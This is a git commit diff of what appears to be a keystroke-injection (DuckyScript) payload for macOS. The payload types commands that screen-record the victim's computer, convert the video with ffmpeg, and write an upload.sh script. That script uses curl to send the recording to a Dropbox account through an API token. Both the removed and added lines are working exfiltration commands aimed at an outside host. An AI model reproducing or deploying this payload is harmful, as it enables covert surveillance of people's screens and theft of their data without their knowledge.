Updated screen recorder to dropbox only needs API key to run now

This commit is contained in:
Narstybits
2023-06-06 13:54:43 -05:00
parent 1f04f201ca
commit 1a4ceb6c71
@@ -40,7 +40,7 @@ STRING ffmpeg -i ~/Desktop/screen_recording.mkv -c:v libx264 -preset fast -crf 2
DELAY 500
ENTER
DELAY 10000
STRING echo 'curl -X POST "https://content.dropboxapi.com/2/files/upload" -H "Authorization: Bearer Your API token Here" -H "Dropbox-API-Arg: {\"path\": \"/screen_recording.mp4\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" -H "Content-Type: application/octet-stream" --data-binary "@/Users/USERNAME_HERE/Desktop/screen_recording.mp4"' > upload.sh
STRING echo 'curl -X POST "https://content.dropboxapi.com/2/files/upload" -H "Authorization: Bearer <API ACCESS TOKEN HERE>" -H "Dropbox-API-Arg: {\"path\": \"/screen_recording.mp4\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" -H "Content-Type: application/octet-stream" --data-binary @"~/Desktop/screen_recording.mp4"' > upload.sh
ENTER
DELAY 500
STRING chmod +x upload.sh